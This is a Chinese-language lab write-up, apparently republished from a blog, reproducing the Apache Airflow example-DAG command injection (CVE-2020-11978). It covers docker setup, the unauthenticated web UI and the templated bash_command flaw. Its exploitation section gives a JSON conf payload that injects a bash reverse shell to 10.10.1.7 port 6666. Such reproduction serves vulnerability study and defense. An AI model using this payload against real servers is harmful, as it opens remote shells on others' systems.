简介
环境
复现步骤
# 初始化数据库
docker compose run airflow-init
# 开启服务
docker compose up -d
- 在客户端访问 server–ip:8080
- 找到 example_trigger_target_dag 开启 (有向无环图) 后变为 “On” 状态
- 在这一列的右侧点击如下按钮
- 输入以下字符后点击 Trigger 按钮
- 点击完成后 airflow_dag_success_touch_file 文件就会被创建在 /tmp 目录下，使用以下命令在容器中进行查询和验证
原因
- 默认情况下 Airflow Web UI 是未授权访问的，直接可以登录，而登录后，只能查看 DAG 的调度状态等，无法进行更多操作
- 但 Airflow Web UI 中提供了触发 DAG 运行的功能，以便测试 DAG，同时 Airflow 为了让使用者可以快速熟悉其 DAG 开发流程和功能，为了更好的示例这些 DAG 覆盖了大多的执行器
- 而其中两个 DAG 组合起来可触发命令注入导致漏洞产生，如下所示，通过一个DAG（example_trigger_controller_dag）来动态的调用另外一个 DAG（example_trigger_target_dag）
#airflow/example_dags/example_trigger_target_dag.py
1. 1st DAG (example_trigger_controller_dag) 持有一个 TriggerDagRunOperator，它将触发第二个 DAG
#airflow/example_dags/example_trigger_controller_dag.py
2. 2nd DAG (example_trigger_target_dag) 它将由第一个 DAG 中的 TriggerDagRunOperator 触发
- 即通过 example_trigger_controller_dag 内部定义的 conf={“message”: “Hello World”} 来触发 example_trigger_target_dag 中 bash_command=‘echo “Here is the message:’{{ dag_run.conf[“message”] if dag_run else “” }}‘”’ 的运行
- 根据上面信息可以看出，输入 dag_run.conf[“message”] 由第一个 DGA 传递过来的，看起来无法控制。而实际上熟悉下 Airflow 相关代码即可发现 Airflow 中 DAG Run 是代表 DAG 及时实例化的对象，而其中 conf 正是用于传递参数的方式， Airflow 提供了多渠道可以修改 conf，包括命令行例如：
airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag
利用
#socket 连接
{"message":"'";bash -i >& /dev/tcp/10.10.1.7/6666 0>&1;#"}
- 连接成功
缓解
参考
- Vulhub 漏洞环境详情：https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-11978&scoretype=cvssv3
- Airflow dag 中的命令注入(csdn)：https://xz.aliyun.com/t/8037
原文地址:https://blog.csdn.net/qq_38924942/article/details/133420863
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如若转载，请注明出处：http://www.7code.cn/show_20910.html
如若内容造成侵权/违法违规/事实不符，请联系代码007邮箱：suwngjj01@126.com进行投诉反馈，一经查实，立即删除！
声明：本站所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。
